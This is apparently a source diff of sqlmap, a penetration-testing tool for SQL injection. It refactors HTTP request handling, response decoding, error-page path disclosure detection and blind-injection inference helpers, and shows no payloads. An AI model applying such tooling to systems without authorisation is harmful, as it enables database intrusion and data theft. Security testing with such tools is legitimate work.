"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
|
||||||
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||||
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
||||||
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
|
||||||
}
|
}
|
||||||
|
|
||||||
for header in headers:
|
for header in headers:
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
@@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
|
|
||||||
|
|
||||||
class htmlHandler(ContentHandler):
|
class htmlHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse the input HTML page to
|
This class defines methods to parse the input HTML page to
|
||||||
@@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
|
|||||||
|
|
||||||
self.dbms = None
|
self.dbms = None
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
self.__dbms = attrs.get("value")
|
self.__dbms = attrs.get("value")
|
||||||
@@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
|
|||||||
self.dbms = self.__dbms
|
self.dbms = self.__dbms
|
||||||
self.__match = None
|
self.__match = None
|
||||||
|
|
||||||
|
|
||||||
def htmlParser(page):
|
def htmlParser(page):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTML page to
|
This function calls a class that parses the input HTML page to
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
from xml.sax.handler import ContentHandler
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
@@ -34,7 +32,6 @@ from lib.core.data import queries
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
|
|
||||||
|
|
||||||
class queriesHandler(ContentHandler):
|
class queriesHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse the default DBMS queries
|
This class defines methods to parse the default DBMS queries
|
||||||
@@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
|
|||||||
self.__dbms = ''
|
self.__dbms = ''
|
||||||
self.__queries = advancedDict()
|
self.__queries = advancedDict()
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
data = sanitizeStr(attrs.get("value"))
|
data = sanitizeStr(attrs.get("value"))
|
||||||
@@ -134,6 +130,10 @@ class queriesHandler(ContentHandler):
|
|||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.isDba = data
|
self.__queries.isDba = data
|
||||||
|
|
||||||
|
elif name == "check_udf":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.checkUdf = data
|
||||||
|
|
||||||
elif name == "inband":
|
elif name == "inband":
|
||||||
self.__inband = sanitizeStr(attrs.get("query"))
|
self.__inband = sanitizeStr(attrs.get("query"))
|
||||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||||
@@ -146,7 +146,6 @@ class queriesHandler(ContentHandler):
|
|||||||
self.__count = sanitizeStr(attrs.get("count"))
|
self.__count = sanitizeStr(attrs.get("count"))
|
||||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||||
|
|
||||||
|
|
||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
queries[self.__dbms] = self.__queries
|
queries[self.__dbms] = self.__queries
|
||||||
@@ -205,7 +204,6 @@ class queriesHandler(ContentHandler):
|
|||||||
|
|
||||||
self.__queries.dumpTable = self.__dumpTable
|
self.__queries.dumpTable = self.__dumpTable
|
||||||
|
|
||||||
|
|
||||||
def queriesParser():
|
def queriesParser():
|
||||||
"""
|
"""
|
||||||
This function calls a class to parse the default DBMS queries
|
This function calls a class to parse the default DBMS queries
|
||||||
|
|||||||
@@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import gzip
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
|
import StringIO
|
||||||
|
import zlib
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
|
||||||
from lib.parse.headers import headersParser
|
from lib.parse.headers import headersParser
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
|
|
||||||
|
|
||||||
def forgeHeaders(cookie, ua):
|
def forgeHeaders(cookie, ua):
|
||||||
"""
|
"""
|
||||||
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
||||||
@@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua):
|
|||||||
|
|
||||||
return headers
|
return headers
|
||||||
|
|
||||||
|
|
||||||
def parseResponse(page, headers):
|
def parseResponse(page, headers):
|
||||||
"""
|
"""
|
||||||
@param page: the page to parse to feed the knowledge base htmlFp
|
@param page: the page to parse to feed the knowledge base htmlFp
|
||||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||||
through the web application) list and absFilePaths (absolute file
|
through the web application) list and absFilePaths (absolute file
|
||||||
paths) set.
|
paths) set.
|
||||||
|
|
||||||
@todo: in the future parse the page content scrolling an XML file to
|
|
||||||
identify the dynamic language used and, most, the absolute path,
|
|
||||||
like for DBMS error messages (ERRORS_XML), see above.
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if headers:
|
if headers:
|
||||||
@@ -73,8 +68,29 @@ def parseResponse(page, headers):
|
|||||||
# Detect injectable page absolute system path
|
# Detect injectable page absolute system path
|
||||||
# NOTE: this regular expression works if the remote web application
|
# NOTE: this regular expression works if the remote web application
|
||||||
# is written in PHP and debug/error messages are enabled.
|
# is written in PHP and debug/error messages are enabled.
|
||||||
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
|
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
|
||||||
|
|
||||||
for absFilePath in absFilePaths:
|
for absFilePathRegExp in absFilePathsRegExp:
|
||||||
if absFilePath not in kb.absFilePaths:
|
reobj = re.compile(absFilePathRegExp)
|
||||||
kb.absFilePaths.add(absFilePath)
|
|
||||||
|
for match in reobj.finditer(page):
|
||||||
|
absFilePath = match.group()
|
||||||
|
|
||||||
|
if absFilePath not in kb.absFilePaths:
|
||||||
|
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
||||||
|
|
||||||
|
def decodePage(page, encoding):
|
||||||
|
"""
|
||||||
|
Decode gzip/deflate HTTP response
|
||||||
|
"""
|
||||||
|
|
||||||
|
if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
|
||||||
|
if encoding == 'deflate':
|
||||||
|
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
|
||||||
|
data = StringIO.StringIO(zlib.decompress(page, -15))
|
||||||
|
else:
|
||||||
|
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
|
||||||
|
|
||||||
|
page = data.read()
|
||||||
|
|
||||||
|
return page
|
||||||
|
|||||||
12
lib/request/certhandler.py
Normal file
12
lib/request/certhandler.py
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
import httplib
|
||||||
|
import urllib2
|
||||||
|
|
||||||
|
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
|
||||||
|
def __init__(self, key_file, cert_file):
|
||||||
|
urllib2.HTTPSHandler.__init__(self)
|
||||||
|
self.key_file = key_file
|
||||||
|
self.cert_file = cert_file
|
||||||
|
def https_open(self, req):
|
||||||
|
return self.do_open(self.getConnection, req)
|
||||||
|
def getConnection(self, host):
|
||||||
|
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
||||||
@@ -22,16 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.convert import md5hash
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.session import setMatchRatio
|
from lib.core.session import setMatchRatio
|
||||||
|
|
||||||
|
|
||||||
def comparison(page, headers=None, getSeqMatcher=False):
|
def comparison(page, headers=None, getSeqMatcher=False):
|
||||||
regExpResults = None
|
regExpResults = None
|
||||||
|
|
||||||
@@ -74,15 +70,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
|||||||
|
|
||||||
# If the url is stable and we did not set yet the match ratio and the
|
# If the url is stable and we did not set yet the match ratio and the
|
||||||
# current injected value changes the url page content
|
# current injected value changes the url page content
|
||||||
if conf.matchRatio == None:
|
if conf.matchRatio is None:
|
||||||
if conf.md5hash != None and ratio > 0.6 and ratio < 1:
|
if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
|
||||||
logger.debug("setting match ratio to %.3f" % ratio)
|
logger.debug("setting match ratio to %.3f" % ratio)
|
||||||
conf.matchRatio = ratio
|
conf.matchRatio = ratio
|
||||||
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
|
|
||||||
|
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
|
||||||
logger.debug("setting match ratio to default value 0.900")
|
logger.debug("setting match ratio to default value 0.900")
|
||||||
conf.matchRatio = 0.900
|
conf.matchRatio = 0.900
|
||||||
|
|
||||||
if conf.matchRatio != None:
|
if conf.matchRatio is not None:
|
||||||
setMatchRatio()
|
setMatchRatio()
|
||||||
|
|
||||||
# If it has been requested to return the ratio and not a comparison
|
# If it has been requested to return the ratio and not a comparison
|
||||||
@@ -94,7 +91,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
|||||||
# hash of the original one
|
# hash of the original one
|
||||||
# NOTE: old implementation, it did not handle automatically the fact
|
# NOTE: old implementation, it did not handle automatically the fact
|
||||||
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
|
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
|
||||||
#elif conf.md5hash != None:
|
#elif conf.md5hash is not None:
|
||||||
# return conf.md5hash == md5hash(page)
|
# return conf.md5hash == md5hash(page)
|
||||||
|
|
||||||
# If the url is not stable it returns sequence matcher between the
|
# If the url is not stable it returns sequence matcher between the
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
@@ -33,11 +31,13 @@ import urlparse
|
|||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
from lib.contrib import multipartpost
|
from lib.contrib import multipartpost
|
||||||
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
from lib.request.basic import decodePage
|
||||||
from lib.request.basic import forgeHeaders
|
from lib.request.basic import forgeHeaders
|
||||||
from lib.request.basic import parseResponse
|
from lib.request.basic import parseResponse
|
||||||
from lib.request.comparison import comparison
|
from lib.request.comparison import comparison
|
||||||
@@ -48,12 +48,10 @@ class Connect:
|
|||||||
This class defines methods used to perform HTTP requests
|
This class defines methods used to perform HTTP requests
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def __getPageProxy(**kwargs):
|
def __getPageProxy(**kwargs):
|
||||||
return Connect.getPage(**kwargs)
|
return Connect.getPage(**kwargs)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getPage(**kwargs):
|
def getPage(**kwargs):
|
||||||
"""
|
"""
|
||||||
@@ -61,7 +59,7 @@ class Connect:
|
|||||||
the target url page content
|
the target url page content
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||||
time.sleep(conf.delay)
|
time.sleep(conf.delay)
|
||||||
|
|
||||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||||
@@ -85,26 +83,33 @@ class Connect:
|
|||||||
else:
|
else:
|
||||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||||
|
|
||||||
|
if silent:
|
||||||
|
socket.setdefaulttimeout(3)
|
||||||
|
|
||||||
if direct:
|
if direct:
|
||||||
if "?" in url:
|
if "?" in url:
|
||||||
url, params = url.split("?")
|
url, params = url.split("?")
|
||||||
params = urlencode(params).replace("%%", "%")
|
params = urlencode(params)
|
||||||
url = "%s?%s" % (url, params)
|
url = "%s?%s" % (url, params)
|
||||||
requestMsg += "?%s" % params
|
requestMsg += "?%s" % params
|
||||||
|
|
||||||
elif multipart:
|
elif multipart:
|
||||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||||
conn = multipartOpener.open(url, multipart)
|
conn = multipartOpener.open(url, multipart)
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
return page
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
|
return page
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if conf.parameters.has_key("GET") and not get:
|
if conf.parameters.has_key("GET") and not get:
|
||||||
get = conf.parameters["GET"]
|
get = conf.parameters["GET"]
|
||||||
|
|
||||||
if get:
|
if get:
|
||||||
get = urlencode(get).replace("%%", "%")
|
get = urlencode(get)
|
||||||
url = "%s?%s" % (url, get)
|
url = "%s?%s" % (url, get)
|
||||||
requestMsg += "?%s" % get
|
requestMsg += "?%s" % get
|
||||||
|
|
||||||
@@ -112,18 +117,11 @@ class Connect:
|
|||||||
if conf.parameters.has_key("POST") and not post:
|
if conf.parameters.has_key("POST") and not post:
|
||||||
post = conf.parameters["POST"]
|
post = conf.parameters["POST"]
|
||||||
|
|
||||||
post = urlencode(post).replace("%%", "%")
|
|
||||||
|
|
||||||
requestMsg += " HTTP/1.1"
|
requestMsg += " HTTP/1.1"
|
||||||
|
|
||||||
if cookie:
|
|
||||||
# TODO: sure about encoding the cookie?
|
|
||||||
#cookie = urlencode(cookie).replace("%%", "%")
|
|
||||||
cookie = cookie.replace("%%", "%")
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Perform HTTP request
|
# Perform HTTP request
|
||||||
headers = forgeHeaders(cookie, ua)
|
headers = forgeHeaders(sanitizeCookie(cookie), ua)
|
||||||
req = urllib2.Request(url, post, headers)
|
req = urllib2.Request(url, post, headers)
|
||||||
conn = urllib2.urlopen(req)
|
conn = urllib2.urlopen(req)
|
||||||
|
|
||||||
@@ -135,14 +133,15 @@ class Connect:
|
|||||||
|
|
||||||
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
||||||
|
|
||||||
for _, cookie in enumerate(conf.cj):
|
if not conf.dropSetCookie:
|
||||||
if not cookieStr:
|
for _, cookie in enumerate(conf.cj):
|
||||||
cookieStr = "Cookie: "
|
if not cookieStr:
|
||||||
|
cookieStr = "Cookie: "
|
||||||
cookie = str(cookie)
|
|
||||||
index = cookie.index(" for ")
|
cookie = str(cookie)
|
||||||
|
index = cookie.index(" for ")
|
||||||
cookieStr += "%s; " % cookie[8:index]
|
|
||||||
|
cookieStr += "%s; " % cookie[8:index]
|
||||||
|
|
||||||
if not req.has_header("Cookie") and cookieStr:
|
if not req.has_header("Cookie") and cookieStr:
|
||||||
requestHeaders += "\n%s" % cookieStr[:-2]
|
requestHeaders += "\n%s" % cookieStr[:-2]
|
||||||
@@ -160,11 +159,14 @@ class Connect:
|
|||||||
logger.log(9, requestMsg)
|
logger.log(9, requestMsg)
|
||||||
|
|
||||||
# Get HTTP response
|
# Get HTTP response
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
code = conn.code
|
code = conn.code
|
||||||
status = conn.msg
|
status = conn.msg
|
||||||
responseHeaders = conn.info()
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
if e.code == 401:
|
if e.code == 401:
|
||||||
exceptionMsg = "not authorized, try to provide right HTTP "
|
exceptionMsg = "not authorized, try to provide right HTTP "
|
||||||
@@ -190,6 +192,9 @@ class Connect:
|
|||||||
warnMsg += "status code, try to force the HTTP User-Agent "
|
warnMsg += "status code, try to force the HTTP User-Agent "
|
||||||
warnMsg += "header with option --user-agent or -a"
|
warnMsg += "header with option --user-agent or -a"
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "unable to connect to the target url"
|
||||||
|
|
||||||
if "BadStatusLine" not in tbMsg:
|
if "BadStatusLine" not in tbMsg:
|
||||||
warnMsg += " or proxy"
|
warnMsg += " or proxy"
|
||||||
|
|
||||||
@@ -199,7 +204,7 @@ class Connect:
|
|||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
if silent == True:
|
if silent:
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
elif conf.retriesCount < conf.retries:
|
elif conf.retriesCount < conf.retries:
|
||||||
@@ -210,11 +215,15 @@ class Connect:
|
|||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
return Connect.__getPageProxy(**kwargs)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
raise sqlmapConnectionException, warnMsg
|
raise sqlmapConnectionException, warnMsg
|
||||||
|
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
parseResponse(page, responseHeaders)
|
parseResponse(page, responseHeaders)
|
||||||
responseMsg += "(%s - %d):\n" % (status, code)
|
responseMsg += "(%s - %d):\n" % (status, code)
|
||||||
|
|
||||||
@@ -227,7 +236,6 @@ class Connect:
|
|||||||
|
|
||||||
return page, responseHeaders
|
return page, responseHeaders
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
|
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
@@ -33,7 +31,6 @@ from lib.core.common import dataToSessionFile
|
|||||||
from lib.core.common import expandAsteriskForColumns
|
from lib.core.common import expandAsteriskForColumns
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import replaceNewlineTabs
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -45,8 +42,7 @@ from lib.techniques.blind.inference import bisection
|
|||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def __goInference(payload, expression, charsetType=None):
|
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
|
||||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||||
@@ -56,7 +52,7 @@ def __goInference(payload, expression, charsetType=None):
|
|||||||
|
|
||||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||||
|
|
||||||
count, value = bisection(payload, expression, length, charsetType)
|
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
|
||||||
duration = int(time.time() - start)
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
if conf.eta and length:
|
if conf.eta and length:
|
||||||
@@ -68,8 +64,7 @@ def __goInference(payload, expression, charsetType=None):
|
|||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
|
|
||||||
outputs = []
|
outputs = []
|
||||||
origExpr = None
|
origExpr = None
|
||||||
|
|
||||||
@@ -88,7 +83,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||||||
else:
|
else:
|
||||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||||
|
|
||||||
if resumeValue == True:
|
if resumeValue:
|
||||||
output = resume(expressionReplaced, payload)
|
output = resume(expressionReplaced, payload)
|
||||||
|
|
||||||
if not output or ( expected == "int" and not output.isdigit() ):
|
if not output or ( expected == "int" and not output.isdigit() ):
|
||||||
@@ -97,7 +92,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||||||
warnMsg += "sqlmap is going to retrieve the value again"
|
warnMsg += "sqlmap is going to retrieve the value again"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
output = __goInference(payload, expressionReplaced, charsetType)
|
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
if isinstance(num, int):
|
if isinstance(num, int):
|
||||||
expression = origExpr
|
expression = origExpr
|
||||||
@@ -106,8 +101,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||||||
|
|
||||||
return outputs
|
return outputs
|
||||||
|
|
||||||
|
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
|
|
||||||
"""
|
"""
|
||||||
Retrieve the output of a SQL query characted by character taking
|
Retrieve the output of a SQL query characted by character taking
|
||||||
advantage of an blind SQL injection vulnerability on the affected
|
advantage of an blind SQL injection vulnerability on the affected
|
||||||
@@ -125,16 +119,16 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||||||
untilLimitChar = None
|
untilLimitChar = None
|
||||||
untilOrderChar = None
|
untilOrderChar = None
|
||||||
|
|
||||||
if resumeValue == True:
|
if resumeValue:
|
||||||
output = resume(expression, payload)
|
output = resume(expression, payload)
|
||||||
else:
|
else:
|
||||||
output = None
|
output = None
|
||||||
|
|
||||||
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
|
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
|
||||||
return output
|
return output
|
||||||
|
|
||||||
if unpack == False:
|
if not unpack:
|
||||||
return __goInference(payload, expression, charsetType)
|
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||||
@@ -206,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||||||
if not stopLimit or stopLimit <= 1:
|
if not stopLimit or stopLimit <= 1:
|
||||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||||
test = "n"
|
test = "n"
|
||||||
elif batch == True:
|
elif batch:
|
||||||
test = "y"
|
test = "y"
|
||||||
else:
|
else:
|
||||||
message = "can the SQL query provided return "
|
message = "can the SQL query provided return "
|
||||||
@@ -222,17 +216,17 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||||
countedExpression = countedExpression[:untilOrderChar]
|
countedExpression = countedExpression[:untilOrderChar]
|
||||||
|
|
||||||
if resumeValue == True:
|
if resumeValue:
|
||||||
count = resume(countedExpression, payload)
|
count = resume(countedExpression, payload)
|
||||||
|
|
||||||
if not stopLimit:
|
if not stopLimit:
|
||||||
if not count or not count.isdigit():
|
if not count or not count.isdigit():
|
||||||
count = __goInference(payload, countedExpression, charsetType)
|
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
if count and count.isdigit() and int(count) > 0:
|
if count and count.isdigit() and int(count) > 0:
|
||||||
count = int(count)
|
count = int(count)
|
||||||
|
|
||||||
if batch == True:
|
if batch:
|
||||||
stopLimit = count
|
stopLimit = count
|
||||||
else:
|
else:
|
||||||
message = "the SQL query provided can return "
|
message = "the SQL query provided can return "
|
||||||
@@ -298,7 +292,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
for num in xrange(startLimit, stopLimit):
|
for num in xrange(startLimit, stopLimit):
|
||||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
|
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||||
outputs.append(output)
|
outputs.append(output)
|
||||||
|
|
||||||
return outputs
|
return outputs
|
||||||
@@ -306,16 +300,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||||||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||||
expression = "%s FROM DUAL" % expression
|
expression = "%s FROM DUAL" % expression
|
||||||
|
|
||||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
|
